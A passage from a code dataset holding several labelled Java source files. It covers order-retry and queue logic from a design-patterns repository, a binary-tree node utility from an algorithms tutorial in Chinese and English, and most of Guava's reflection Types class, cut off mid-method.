Thread(() -> { Retry.Operation op = list1 -> { if (!list1.isEmpty()) { LOG.warn(ORDER_ID + ": Error in connecting to queue db, trying again..", qt.order.id); throw list1.remove(0); } queue.add(qt); queueItems++; LOG.info(ORDER_ID + ": {}" + " task enqueued..", qt.order.id, qt.getType()); tryDoingTasksInQueue(); }; Retry.HandleErrorIssue<QueueTask> handleError = (qt1, err) -> { if (qt1.taskType.equals(TaskType.PAYMENT)) { qt1.order.paid = PaymentStatus.NOT_DONE; sendPaymentFailureMessage(qt1.order); LOG.error(ORDER_ID + ": Unable to enqueue payment task," + " payment failed..", qt1.order.id); } LOG.error(ORDER_ID + ": Unable to enqueue task of type {}" + ", trying to add to employee handle..", qt1.order.id, qt1.getType()); employeeHandleIssue(qt1.order); }; var r = new Retry<>(op, handleError, numOfRetries, retryDuration, e -> DatabaseUnavailableException.class.isAssignableFrom(e.getClass())); try { r.perform(list, qt); } catch (Exception e1) { LOG.error(DEFAULT_EXCEPTION_MESSAGE, e1); } }); t.start(); } private void tryDoingTasksInQueue() { //commander controls operations done to queue var list = queue.exceptionsList; var t2 = new Thread(() -> { Retry.Operation op = list1 -> { if (!list1.isEmpty()) { LOG.warn("Error in accessing queue db to do tasks, trying again.."); throw list1.remove(0); } doTasksInQueue(); }; Retry.HandleErrorIssue<QueueTask> handleError = (o, err) -> { }; var r = new Retry<>(op, handleError, numOfRetries, retryDuration, e -> DatabaseUnavailableException.class.isAssignableFrom(e.getClass())); try { r.perform(list, null); } catch (Exception e1) { LOG.error(DEFAULT_EXCEPTION_MESSAGE, e1); } }); t2.start(); } private void tryDequeue() { var list = queue.exceptionsList; var t3 = new Thread(() -> { Retry.Operation op = list1 -> { if (!list1.isEmpty()) { LOG.warn("Error in accessing queue db to dequeue task, trying again.."); throw list1.remove(0); } queue.dequeue(); queueItems--; }; Retry.HandleErrorIssue<QueueTask> handleError = (o, err) -> { }; var r = new Retry<>(op, handleError, numOfRetries, retryDuration, e -> DatabaseUnavailableException.class.isAssignableFrom(e.getClass())); try { r.perform(list, null); } catch (Exception e1) { LOG.error(DEFAULT_EXCEPTION_MESSAGE, e1); } }); t3.start(); } private void sendSuccessMessage(Order order) { if (System.currentTimeMillis() - order.createdTime >= this.messageTime) { LOG.trace(ORDER_ID + ": Message time for order over, returning..", order.id); return; } var list = messagingService.exceptionsList; Thread t = new Thread(() -> { Retry.Operation op = handleSuccessMessageRetryOperation(order); Retry.HandleErrorIssue<Order> handleError = (o, err) -> handleSuccessMessageErrorIssue(order, o); var r = new Retry<>(op, handleError, numOfRetries, retryDuration, e -> DatabaseUnavailableException.class.isAssignableFrom(e.getClass())); try { r.perform(list, order); } catch (Exception e1) { LOG.error(DEFAULT_EXCEPTION_MESSAGE, e1); } }); t.start(); } private void handleSuccessMessageErrorIssue(Order order, Order o) { if ((o.messageSent.equals(MessageSent.NONE_SENT) || o.messageSent .equals(MessageSent.PAYMENT_TRYING)) && System.currentTimeMillis() - o.createdTime < messageTime) { var qt = new QueueTask(order, TaskType.MESSAGING, 2); updateQueue(qt); LOG.info(ORDER_ID + ": Error in sending Payment Success message, trying to" + " queue task and add to employee handle..", order.id); employeeHandleIssue(order); } } private Retry.Operation handleSuccessMessageRetryOperation(Order order) { return l -> { if (!l.isEmpty()) { if (DatabaseUnavailableException.class.isAssignableFrom(l.get(0).getClass())) { LOG.debug(ORDER_ID + ERROR_CONNECTING_MSG_SVC + "(Payment Success msg), trying again..", order.id); } else { LOG.debug(ORDER_ID + ": Error in creating Payment Success" + " messaging request..", order.id); } throw l.remove(0); } if (!order.messageSent.equals(MessageSent.PAYMENT_FAIL) && !order.messageSent.equals(MessageSent.PAYMENT_SUCCESSFUL)) { var requestId = messagingService.receiveRequest(2); order.messageSent = MessageSent.PAYMENT_SUCCESSFUL; LOG.info(ORDER_ID + ": Payment Success message sent," + REQUEST_ID, order.id, requestId); } }; } private void sendPaymentFailureMessage(Order order) { if (System.currentTimeMillis() - order.createdTime >= this.messageTime) { LOG.trace(ORDER_ID + ": Message time for order over, returning..", order.id); return; } var list = messagingService.exceptionsList; var t = new Thread(() -> { Retry.Operation op = l -> handlePaymentFailureRetryOperation(order, l); Retry.HandleErrorIssue<Order> handleError = (o, err) -> handlePaymentErrorIssue(order, o); var r = new Retry<>(op, handleError, numOfRetries, retryDuration, e -> DatabaseUnavailableException.class.isAssignableFrom(e.getClass())); try { r.perform(list, order); } catch (Exception e1) { LOG.error(DEFAULT_EXCEPTION_MESSAGE, e1); } }); t.start(); } private void handlePaymentErrorIssue(Order order, Order o) { if ((o.messageSent.equals(MessageSent.NONE_SENT) || o.messageSent .equals(MessageSent.PAYMENT_TRYING)) && System.currentTimeMillis() - o.createdTime < messageTime) { var qt = new QueueTask(order, TaskType.MESSAGING, 0); updateQueue(qt); LOG.warn(ORDER_ID + ": Error in sending Payment Failure message, " + "trying to queue task and add to employee handle..", order.id); employeeHandleIssue(o); } } private void handlePaymentFailureRetryOperation(Order order, List<Exception> l) throws IndexOutOfBoundsException, DatabaseUnavailableException { if (!l.isEmpty()) { if (DatabaseUnavailableException.class.isAssignableFrom(l.get(0).getClass())) { LOG.debug(ORDER_ID + ERROR_CONNECTING_MSG_SVC + "(Payment Failure msg), trying again..", order.id); } else { LOG.debug(ORDER_ID + ": Error in creating Payment Failure" + " message request..", order.id); } throw new IndexOutOfBoundsException(); } if (!order.messageSent.equals(MessageSent.PAYMENT_FAIL) && !order.messageSent.equals(MessageSent.PAYMENT_SUCCESSFUL)) { var requestId = messagingService.receiveRequest(0); order.messageSent = MessageSent.PAYMENT_FAIL; LOG.info(ORDER_ID + ": Payment Failure message sent successfully," + REQUEST_ID, order.id, requestId); } } private void sendPaymentPossibleErrorMsg(Order order) { if (System.currentTimeMillis() - order.createdTime >= this.messageTime) { LOG.trace("Message time for order over, returning.."); return; } var list = messagingService.exceptionsList; var t = new Thread(() -> { Retry.Operation op = l -> handlePaymentPossibleErrorMsgRetryOperation(order, l); Retry.HandleErrorIssue<Order> handleError = (o, err) -> handlePaymentPossibleErrorMsgErrorIssue(order, o); var r = new Retry<>(op, handleError, numOfRetries, retryDuration, e -> DatabaseUnavailableException.class.isAssignableFrom(e.getClass())); try { r.perform(list, order); } catch (Exception e1) { LOG.error(DEFAULT_EXCEPTION_MESSAGE, e1); } }); t.start(); } private void handlePaymentPossibleErrorMsgErrorIssue(Order order, Order o) { if (o.messageSent.equals(MessageSent.NONE_SENT) && order.paid .equals(PaymentStatus.TRYING) && System.currentTimeMillis() - o.createdTime < messageTime) { var qt = new QueueTask(order, TaskType.MESSAGING, 1); updateQueue(qt); LOG.warn("Order {}: Error in sending Payment Error message, trying to queue task and add to employee handle..", order.id); employeeHandleIssue(o); } } private void handlePaymentPossibleErrorMsgRetryOperation(Order order, List<Exception> l) throws IndexOutOfBoundsException, DatabaseUnavailableException { if (!l.isEmpty()) { if (DatabaseUnavailableException.class.isAssignableFrom(l.get(0).getClass())) { LOG.debug(ORDER_ID + ERROR_CONNECTING_MSG_SVC + "(Payment Error msg), trying again..", order.id); } else { LOG.debug(ORDER_ID + ": Error in creating Payment Error" + " messaging request..", order.id); } throw new IndexOutOfBoundsException(); } if (order.paid.equals(PaymentStatus.TRYING) && order.messageSent .equals(MessageSent.NONE_SENT)) { var requestId = messagingService.receiveRequest(1); order.messageSent = MessageSent.PAYMENT_TRYING; LOG.info(ORDER_ID + ": Payment Error message sent successfully," + REQUEST_ID, order.id, requestId); } } private void employeeHandleIssue(Order order) { if (System.currentTimeMillis() - order.createdTime >= this.employeeTime) { LOG.trace(ORDER_ID + ": Employee handle time for order over, returning..", order.id); return; } var list = employeeDb.exceptionsList; var t = new Thread(() -> { Retry.Operation op = l -> { if (!l.isEmpty()) { LOG.warn(ORDER_ID + ": Error in connecting to employee handle," + " trying again..", order.id); throw l.remove(0); } if (!order.addedToEmployeeHandle) { employeeDb.receiveRequest(order); order.addedToEmployeeHandle = true; LOG.info(ORDER_ID + ": Added order to employee database", order.id); } }; Retry.HandleErrorIssue<Order> handleError = (o, err) -> { if (!o.addedToEmployeeHandle && System .currentTimeMillis() - order.createdTime < employeeTime) { var qt = new QueueTask(order, TaskType.EMPLOYEE_DB, -1); updateQueue(qt); LOG.warn(ORDER_ID + ": Error in adding to employee db," + " trying to queue task..", order.id); } }; var r = new Retry<>(op, handleError, numOfRetries, retryDuration, e -> DatabaseUnavailableException.class.isAssignableFrom(e.getClass())); try { r.perform(list, order); } catch (Exception e1) { LOG.error(DEFAULT_EXCEPTION_MESSAGE, e1); } }); t.start(); } private void doTasksInQueue() throws IsEmptyException, InterruptedException { if (queueItems != 0) { var qt = queue.peek(); //this should probably be cloned here //this is why we have retry for doTasksInQueue LOG.trace(ORDER_ID + ": Started doing task of type {}", qt.order.id, qt.getType()); if (qt.isFirstAttempt()) { qt.setFirstAttemptTime(System.currentTimeMillis()); } if (System.currentTimeMillis() - qt.getFirstAttemptTime() >= queueTaskTime) { tryDequeue(); LOG.trace(ORDER_ID + ": This queue task of type {}" + " does not need to be done anymore (timeout), dequeue..", qt.order.id, qt.getType()); } else { switch (qt.taskType) { case PAYMENT -> doPaymentTask(qt); case MESSAGING -> doMessagingTask(qt); case EMPLOYEE_DB -> doEmployeeDbTask(qt); default -> throw new IllegalArgumentException("Unknown task type"); } } } if (queueItems == 0) { LOG.trace("Queue is empty, returning.."); } else { Thread.sleep(queueTaskTime / 3); tryDoingTasksInQueue(); } } private void doEmployeeDbTask(QueueTask qt) { if (qt.order.addedToEmployeeHandle) { tryDequeue(); LOG.trace(ORDER_ID + ": This employee handle task already done," + " dequeue..", qt.order.id); } else { employeeHandleIssue(qt.order); LOG.debug(ORDER_ID + ": Trying to connect to employee handle..", qt.order.id); } } private void doMessagingTask(QueueTask qt) { if (qt.order.messageSent.equals(MessageSent.PAYMENT_FAIL) || qt.order.messageSent.equals(MessageSent.PAYMENT_SUCCESSFUL)) { tryDequeue(); LOG.trace(ORDER_ID + ": This messaging task already done, dequeue..", qt.order.id); } else if (qt.messageType == 1 && (!qt.order.messageSent.equals(MessageSent.NONE_SENT) || !qt.order.paid.equals(PaymentStatus.TRYING))) { tryDequeue(); LOG.trace(ORDER_ID + ": This messaging task does not need to be done," + " dequeue..", qt.order.id); } else if (qt.messageType == 0) { sendPaymentFailureMessage(qt.order); LOG.debug(ORDER_ID + TRY_CONNECTING_MSG_SVC, qt.order.id); } else if (qt.messageType == 1) { sendPaymentPossibleErrorMsg(qt.order); LOG.debug(ORDER_ID + TRY_CONNECTING_MSG_SVC, qt.order.id); } else if (qt.messageType == 2) { sendSuccessMessage(qt.order); LOG.debug(ORDER_ID + TRY_CONNECTING_MSG_SVC, qt.order.id); } } private void doPaymentTask(QueueTask qt) { if (!qt.order.paid.equals(PaymentStatus.TRYING)) { tryDequeue(); LOG.trace(ORDER_ID + ": This payment task already done, dequeueing..", qt.order.id); } else { sendPaymentRequest(qt.order); LOG.debug(ORDER_ID + ": Trying to connect to payment service..", qt.order.id); } } }
iluwatar/java-design-patterns
commander/src/main/java/com/iluwatar/commander/Commander.java
322
/** * File: TreeNode.java * Created Time: 2022-11-25 * Author: krahets (krahets@163.com) */ package utils; import java.util.*; /* 二叉树节点类 */ public class TreeNode { public int val; // 节点值 public int height; // 节点高度 public TreeNode left; // 左子节点引用 public TreeNode right; // 右子节点引用 /* 构造方法 */ public TreeNode(int x) { val = x; } // 序列化编码规则请参考: // https://www.hello-algo.com/chapter_tree/array_representation_of_tree/ // 二叉树的数组表示: // [1, 2, 3, 4, None, 6, 7, 8, 9, None, None, 12, None, None, 15] // 二叉树的链表表示: // /——— 15 // /——— 7 // /——— 3 // | \——— 6 // | \——— 12 // ——— 1 // \——— 2 // | /——— 9 // \——— 4 // \——— 8 /* 将列表反序列化为二叉树:递归 */ private static TreeNode listToTreeDFS(List<Integer> arr, int i) { if (i < 0 || i >= arr.size() || arr.get(i) == null) { return null; } TreeNode root = new TreeNode(arr.get(i)); root.left = listToTreeDFS(arr, 2 * i + 1); root.right = listToTreeDFS(arr, 2 * i + 2); return root; } /* 将列表反序列化为二叉树 */ public static TreeNode listToTree(List<Integer> arr) { return listToTreeDFS(arr, 0); } /* 将二叉树序列化为列表:递归 */ private static void treeToListDFS(TreeNode root, int i, List<Integer> res) { if (root == null) return; while (i >= res.size()) { res.add(null); } res.set(i, root.val); treeToListDFS(root.left, 2 * i + 1, res); treeToListDFS(root.right, 2 * i + 2, res); } /* 将二叉树序列化为列表 */ public static List<Integer> treeToList(TreeNode root) { List<Integer> res = new ArrayList<>(); treeToListDFS(root, 0, res); return res; } }
krahets/hello-algo
codes/java/utils/TreeNode.java
323
/** * File: TreeNode.java * Created Time: 2022-11-25 * Author: krahets (krahets@163.com) */ package utils; import java.util.*; /* Binary tree node class */ public class TreeNode { public int val; // Node value public int height; // Node height public TreeNode left; // Reference to the left child node public TreeNode right; // Reference to the right child node /* Constructor */ public TreeNode(int x) { val = x; } // For serialization encoding rules, refer to: // https://www.hello-algo.com/chapter_tree/array_representation_of_tree/ // Array representation of the binary tree: // [1, 2, 3, 4, None, 6, 7, 8, 9, None, None, 12, None, None, 15] // Linked list representation of the binary tree: // /——— 15 // /——— 7 // /——— 3 // | \——— 6 // | \——— 12 // ——— 1 // \——— 2 // | /——— 9 // \——— 4 // \——— 8 /* Deserialize a list into a binary tree: Recursively */ private static TreeNode listToTreeDFS(List<Integer> arr, int i) { if (i < 0 || i >= arr.size() || arr.get(i) == null) { return null; } TreeNode root = new TreeNode(arr.get(i)); root.left = listToTreeDFS(arr, 2 * i + 1); root.right = listToTreeDFS(arr, 2 * i + 2); return root; } /* Deserialize a list into a binary tree */ public static TreeNode listToTree(List<Integer> arr) { return listToTreeDFS(arr, 0); } /* Serialize a binary tree into a list: Recursively */ private static void treeToListDFS(TreeNode root, int i, List<Integer> res) { if (root == null) return; while (i >= res.size()) { res.add(null); } res.set(i, root.val); treeToListDFS(root.left, 2 * i + 1, res); treeToListDFS(root.right, 2 * i + 2, res); } /* Serialize a binary tree into a list */ public static List<Integer> treeToList(TreeNode root) { List<Integer> res = new ArrayList<>(); treeToListDFS(root, 0, res); return res; } }
krahets/hello-algo
en/codes/java/utils/TreeNode.java
324
/* * Copyright (C) 2011 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.reflect; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.Iterables.transform; import static java.util.Objects.requireNonNull; import com.google.common.annotations.VisibleForTesting; import com.google.common.base.Joiner; import com.google.common.base.Objects; import com.google.common.base.Predicates; import com.google.common.collect.ImmutableList; import com.google.common.collect.ImmutableMap; import com.google.common.collect.Iterables; import java.io.Serializable; import java.lang.reflect.AnnotatedElement; import java.lang.reflect.Array; import java.lang.reflect.GenericArrayType; import java.lang.reflect.GenericDeclaration; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.lang.reflect.ParameterizedType; import java.lang.reflect.Proxy; import java.lang.reflect.Type; import java.lang.reflect.TypeVariable; import java.lang.reflect.WildcardType; import java.security.AccessControlException; import java.util.Arrays; import java.util.Collection; import java.util.Map.Entry; import java.util.concurrent.atomic.AtomicReference; import javax.annotation.CheckForNull; import org.checkerframework.checker.nullness.qual.Nullable; /** * Utilities for working with {@link Type}. * * @author Ben Yu */ @ElementTypesAreNonnullByDefault final class Types { /** Class#toString without the "class " and "interface " prefixes */ private static final Joiner COMMA_JOINER = Joiner.on(", ").useForNull("null"); /** Returns the array type of {@code componentType}. */ static Type newArrayType(Type componentType) { if (componentType instanceof WildcardType) { WildcardType wildcard = (WildcardType) componentType; Type[] lowerBounds = wildcard.getLowerBounds(); checkArgument(lowerBounds.length <= 1, "Wildcard cannot have more than one lower bounds."); if (lowerBounds.length == 1) { return supertypeOf(newArrayType(lowerBounds[0])); } else { Type[] upperBounds = wildcard.getUpperBounds(); checkArgument(upperBounds.length == 1, "Wildcard should have only one upper bound."); return subtypeOf(newArrayType(upperBounds[0])); } } return JavaVersion.CURRENT.newArrayType(componentType); } /** * Returns a type where {@code rawType} is parameterized by {@code arguments} and is owned by * {@code ownerType}. */ static ParameterizedType newParameterizedTypeWithOwner( @CheckForNull Type ownerType, Class<?> rawType, Type... arguments) { if (ownerType == null) { return newParameterizedType(rawType, arguments); } // ParameterizedTypeImpl constructor already checks, but we want to throw NPE before IAE checkNotNull(arguments); checkArgument(rawType.getEnclosingClass() != null, "Owner type for unenclosed %s", rawType); return new ParameterizedTypeImpl(ownerType, rawType, arguments); } /** Returns a type where {@code rawType} is parameterized by {@code arguments}. */ static ParameterizedType newParameterizedType(Class<?> rawType, Type... arguments) { return new ParameterizedTypeImpl( ClassOwnership.JVM_BEHAVIOR.getOwnerType(rawType), rawType, arguments); } /** Decides what owner type to use for constructing {@link ParameterizedType} from a raw class. */ private enum ClassOwnership { OWNED_BY_ENCLOSING_CLASS { @Override @CheckForNull Class<?> getOwnerType(Class<?> rawType) { return rawType.getEnclosingClass(); } }, LOCAL_CLASS_HAS_NO_OWNER { @Override @CheckForNull Class<?> getOwnerType(Class<?> rawType) { if (rawType.isLocalClass()) { return null; } else { return rawType.getEnclosingClass(); } } }; @CheckForNull abstract Class<?> getOwnerType(Class<?> rawType); static final ClassOwnership JVM_BEHAVIOR = detectJvmBehavior(); private static ClassOwnership detectJvmBehavior() { class LocalClass<T> {} Class<?> subclass = new LocalClass<String>() {}.getClass(); // requireNonNull is safe because we're examining a type that's known to have a superclass. ParameterizedType parameterizedType = requireNonNull((ParameterizedType) subclass.getGenericSuperclass()); for (ClassOwnership behavior : ClassOwnership.values()) { if (behavior.getOwnerType(LocalClass.class) == parameterizedType.getOwnerType()) { return behavior; } } throw new AssertionError(); } } /** * Returns a new {@link TypeVariable} that belongs to {@code declaration} with {@code name} and * {@code bounds}. */ static <D extends GenericDeclaration> TypeVariable<D> newArtificialTypeVariable( D declaration, String name, Type... bounds) { return newTypeVariableImpl( declaration, name, (bounds.length == 0) ? new Type[] {Object.class} : bounds); } /** Returns a new {@link WildcardType} with {@code upperBound}. */ @VisibleForTesting static WildcardType subtypeOf(Type upperBound) { return new WildcardTypeImpl(new Type[0], new Type[] {upperBound}); } /** Returns a new {@link WildcardType} with {@code lowerBound}. */ @VisibleForTesting static WildcardType supertypeOf(Type lowerBound) { return new WildcardTypeImpl(new Type[] {lowerBound}, new Type[] {Object.class}); } /** * Returns a human-readable string representation of {@code type}. * * <p>The format is subject to change. */ static String toString(Type type) { return (type instanceof Class) ? ((Class<?>) type).getName() : type.toString(); } @CheckForNull static Type getComponentType(Type type) { checkNotNull(type); AtomicReference<@Nullable Type> result = new AtomicReference<>(); new TypeVisitor() { @Override void visitTypeVariable(TypeVariable<?> t) { result.set(subtypeOfComponentType(t.getBounds())); } @Override void visitWildcardType(WildcardType t) { result.set(subtypeOfComponentType(t.getUpperBounds())); } @Override void visitGenericArrayType(GenericArrayType t) { result.set(t.getGenericComponentType()); } @Override void visitClass(Class<?> t) { result.set(t.getComponentType()); } }.visit(type); return result.get(); } /** * Returns {@code ? extends X} if any of {@code bounds} is a subtype of {@code X[]}; or null * otherwise. */ @CheckForNull private static Type subtypeOfComponentType(Type[] bounds) { for (Type bound : bounds) { Type componentType = getComponentType(bound); if (componentType != null) { // Only the first bound can be a class or array. // Bounds after the first can only be interfaces. if (componentType instanceof Class) { Class<?> componentClass = (Class<?>) componentType; if (componentClass.isPrimitive()) { return componentClass; } } return subtypeOf(componentType); } } return null; } private static final class GenericArrayTypeImpl implements GenericArrayType, Serializable { private final Type componentType; GenericArrayTypeImpl(Type componentType) { this.componentType = JavaVersion.CURRENT.usedInGenericType(componentType); } @Override public Type getGenericComponentType() { return componentType; } @Override public String toString() { return Types.toString(componentType) + "[]"; } @Override public int hashCode() { return componentType.hashCode(); } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof GenericArrayType) { GenericArrayType that = (GenericArrayType) obj; return Objects.equal(getGenericComponentType(), that.getGenericComponentType()); } return false; } private static final long serialVersionUID = 0; } private static final class ParameterizedTypeImpl implements ParameterizedType, Serializable { @CheckForNull private final Type ownerType; private final ImmutableList<Type> argumentsList; private final Class<?> rawType; ParameterizedTypeImpl(@CheckForNull Type ownerType, Class<?> rawType, Type[] typeArguments) { checkNotNull(rawType); checkArgument(typeArguments.length == rawType.getTypeParameters().length); disallowPrimitiveType(typeArguments, "type parameter"); this.ownerType = ownerType; this.rawType = rawType; this.argumentsList = JavaVersion.CURRENT.usedInGenericType(typeArguments); } @Override public Type[] getActualTypeArguments() { return toArray(argumentsList); } @Override public Type getRawType() { return rawType; } @Override @CheckForNull public Type getOwnerType() { return ownerType; } @Override public String toString() { StringBuilder builder = new StringBuilder(); if (ownerType != null && JavaVersion.CURRENT.jdkTypeDuplicatesOwnerName()) { builder.append(JavaVersion.CURRENT.typeName(ownerType)).append('.'); } return builder .append(rawType.getName()) .append('<') .append(COMMA_JOINER.join(transform(argumentsList, JavaVersion.CURRENT::typeName))) .append('>') .toString(); } @Override public int hashCode() { return (ownerType == null ? 0 : ownerType.hashCode()) ^ argumentsList.hashCode() ^ rawType.hashCode(); } @Override public boolean equals(@CheckForNull Object other) { if (!(other instanceof ParameterizedType)) { return false; } ParameterizedType that = (ParameterizedType) other; return getRawType().equals(that.getRawType()) && Objects.equal(getOwnerType(), that.getOwnerType()) && Arrays.equals(getActualTypeArguments(), that.getActualTypeArguments()); } private static final long serialVersionUID = 0; } private static <D extends GenericDeclaration> TypeVariable<D> newTypeVariableImpl( D genericDeclaration, String name, Type[] bounds) { TypeVariableImpl<D> typeVariableImpl = new TypeVariableImpl<>(genericDeclaration, name, bounds); @SuppressWarnings("unchecked") TypeVariable<D> typeVariable = Reflection.newProxy( TypeVariable.class, new TypeVariableInvocationHandler(typeVariableImpl)); return typeVariable; } /** * Invocation handler to work around a compatibility problem between Java 7 and Java 8. * * <p>Java 8 introduced a new method {@code getAnnotatedBounds()} in the {@link TypeVariable} * interface, whose return type {@code AnnotatedType[]} is also new in Java 8. That means that we * cannot implement that interface in source code in a way that will compile on both Java 7 and * Java 8. If we include the {@code getAnnotatedBounds()} method then its return type means it * won't compile on Java 7, while if we don't include the method then the compiler will complain * that an abstract method is unimplemented. So instead we use a dynamic proxy to get an * implementation. If the method being called on the {@code TypeVariable} instance has the same * name as one of the public methods of {@link TypeVariableImpl}, the proxy calls the same method * on its instance of {@code TypeVariableImpl}. Otherwise it throws {@link * UnsupportedOperationException}; this should only apply to {@code getAnnotatedBounds()}. This * does mean that users on Java 8 who obtain an instance of {@code TypeVariable} from {@link * TypeResolver#resolveType} will not be able to call {@code getAnnotatedBounds()} on it, but that * should hopefully be rare. * * <p>TODO(b/147144588): We are currently also missing the methods inherited from {@link * AnnotatedElement}, which {@code TypeVariable} began to extend only in Java 8. Those methods * refer only to types present in Java 7, so we could implement them in {@code TypeVariableImpl} * today. (We could probably then make {@code TypeVariableImpl} implement {@code AnnotatedElement} * so that we get partial compile-time checking.) * * <p>This workaround should be removed at a distant future time when we no longer support Java * versions earlier than 8. */ @SuppressWarnings("removal") // b/318391980 private static final class TypeVariableInvocationHandler implements InvocationHandler { private static final ImmutableMap<String, Method> typeVariableMethods; static { ImmutableMap.Builder<String, Method> builder = ImmutableMap.builder(); for (Method method : TypeVariableImpl.class.getMethods()) { if (method.getDeclaringClass().equals(TypeVariableImpl.class)) { try { method.setAccessible(true); } catch (AccessControlException e) { // OK: the method is accessible to us anyway. The setAccessible call is only for // unusual execution environments where that might not be true. } builder.put(method.getName(), method); } } typeVariableMethods = builder.buildKeepingLast(); } private final TypeVariableImpl<?> typeVariableImpl; TypeVariableInvocationHandler(TypeVariableImpl<?> typeVariableImpl) { this.typeVariableImpl = typeVariableImpl; } @Override @CheckForNull public Object invoke(Object proxy, Method method, @CheckForNull @Nullable Object[] args) throws Throwable { String methodName = method.getName(); Method typeVariableMethod = typeVariableMethods.get(methodName); if (typeVariableMethod == null) { throw new UnsupportedOperationException(methodName); } else { try { return typeVariableMethod.invoke(typeVariableImpl, args); } catch (InvocationTargetException e) { throw e.getCause(); } } } } private static final class TypeVariableImpl<D extends GenericDeclaration> { private final D genericDeclaration; private final String name; private final ImmutableList<Type> bounds; TypeVariableImpl(D genericDeclaration, String name, Type[] bounds) { disallowPrimitiveType(bounds, "bound for type variable"); this.genericDeclaration = checkNotNull(genericDeclaration); this.name = checkNotNull(name); this.bounds = ImmutableList.copyOf(bounds); } public Type[] getBounds() { return toArray(bounds); } public D getGenericDeclaration() { return genericDeclaration; } public String getName() { return name; } public String getTypeName() { return name; } @Override public String toString() { return name; } @Override public int hashCode() { return genericDeclaration.hashCode() ^ name.hashCode(); } @Override public boolean equals(@CheckForNull Object obj) { if (NativeTypeVariableEquals.NATIVE_TYPE_VARIABLE_ONLY) { // equal only to our TypeVariable implementation with identical bounds if (obj != null && Proxy.isProxyClass(obj.getClass()) && Proxy.getInvocationHandler(obj) instanceof TypeVariableInvocationHandler) { TypeVariableInvocationHandler typeVariableInvocationHandler = (TypeVariableInvocationHandler) Proxy.getInvocationHandler(obj); TypeVariableImpl<?> that = typeVariableInvocationHandler.typeVariableImpl; return name.equals(that.getName()) && genericDeclaration.equals(that.getGenericDeclaration()) && bounds.equals(that.bounds); } return false; } else { // equal to any TypeVariable implementation regardless of bounds if (obj instanceof TypeVariable) { TypeVariable<?> that = (TypeVariable<?>) obj; return name.equals(that.getName()) && genericDeclaration.equals(that.getGenericDeclaration()); } return false; } } } static final class WildcardTypeImpl implements WildcardType, Serializable { private final ImmutableList<Type> lowerBounds; private final ImmutableList<Type> upperBounds; WildcardTypeImpl(Type[] lowerBounds, Type[] upperBounds) { disallowPrimitiveType(lowerBounds, "lower bound for wildcard"); disallowPrimitiveType(upperBounds, "upper bound for wildcard"); this.lowerBounds = JavaVersion.CURRENT.usedInGenericType(lowerBounds); this.upperBounds = JavaVersion.CURRENT.usedInGenericType(upperBounds); } @Override public Type[] getLowerBounds() { return toArray(lowerBounds); } @Override public Type[] getUpperBounds() { return toArray(upperBounds); } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof WildcardType) { WildcardType that = (WildcardType) obj; return lowerBounds.equals(Arrays.asList(that.getLowerBounds())) && upperBounds.equals(Arrays.asList(that.getUpperBounds())); } return false; } @Override public int hashCode() { return lowerBounds.hashCode() ^ upperBounds.hashCode(); } @Override public String toString() { StringBuilder builder = new StringBuilder("?"); for (Type lowerBound : lowerBounds) { builder.append(" super ").append(JavaVersion.CURRENT.typeName(lowerBound)); } for (Type upperBound : filterUpperBounds(upperBounds)) { builder.append(" extends ").append(JavaVersion.CURRENT.typeName(upperBound)); } return builder.toString(); } private static final long serialVersionUID = 0; } private static Type[] toArray(Collection<Type> types) { return types.toArray(new Type[0]); } private static Iterable<Type> filterUpperBounds(Iterable<Type> bounds) { return Iterables.filter(bounds, Predicates.not(Predicates.<Type>equalTo(Object.class))); } private static void disallowPrimitiveType(Type[] types, String usedAs) { for (Type type : types) { if (type instanceof Class) { Class<?> cls = (Class<?>) type; checkArgument(!cls.isPrimitive(), "Primitive type '%s' used as %s", cls, usedAs); } } } /** Returns the {@code Class} object of arrays with {@code componentType}. */ static Class<?> getArrayClass(Class<?> componentType) { // TODO(user): This is not the most efficient way to handle generic // arrays, but is there another way to extract the array class in a // non-hacky way (i.e. using String value class names- "[L...")? return Array.newInstance(componentType, 0).getClass(); } // TODO(benyu): Once behavior is the same for all Java versions we support, delete this. enum JavaVersion { JAVA6 { @Override GenericArrayType newArrayType(Type componentType) { return new GenericArrayTypeImpl(componentType); } @Override Type usedInGenericType(Type type) { checkNotNull(type); if (type instanceof Class) { Class<?> cls = (Class<?>) type; if (cls.isArray()) { return new GenericArrayTypeImpl(cls.getComponentType()); } } return type; } }, JAVA7 { @Override Type newArrayType(Type componentType) { if (componentType instanceof Class) { return getArrayClass((Class<?>) componentType); } else { return new GenericArrayTypeImpl(componentType); } } @Override Type usedInGenericType(Type type) { return checkNotNull(type); } }, JAVA8 { @Override Type newArrayType(Type componentType) { return JAVA7.newArrayType(componentType); } @Override Type usedInGenericType(Type type) { return JAVA7.usedInGenericType(type); } @Override String typeName(Type type) { try { Method getTypeName = Type.class.getMethod("getTypeName"); return (String) getTypeName.invoke(type); } catch (NoSuchMethodException e) { throw new AssertionError("Type.getTypeName should be available in Java 8"); } catch (InvocationTargetException | IllegalAccessException e) { throw new RuntimeException(e); } } }, JAVA9 { @Override Type newArrayType(Type componentType) { return JAVA8.newArrayType(componentType); } @Override Type usedInGenericType(Type type) { return JAVA8.usedInGenericType(type); } @Override String typeName(Type type) { return JAVA8.typeName(type); } @Override boolean jdkTypeDuplicatesOwnerName() { return false; } }; static final JavaVersion CURRENT; static { if (AnnotatedElement.class.isAssignableFrom(TypeVariable.class)) { if (new TypeCapture<Entry<String, int[][]>>() {}.capture() .toString() .contains("java.util.Map.java.util.Map")) { CURRENT = JAVA8; } else { CURRENT = JAVA9; } } else if (new TypeCapture<int[]>() {}.capture() instanceof Class) { CURRENT = JAVA7; } else { CURRENT = JAVA6; } } abstract Type newArrayType(Type componentType); abstract Type usedInGenericType(Type type); final ImmutableList<Type> usedInGenericType(Type[] types) { ImmutableList.Builder<Type> builder = ImmutableList.builder(); for (Type type : types) { builder.add(usedInGenericType(type)); } return builder.build(); } String typeName(Type type) { return 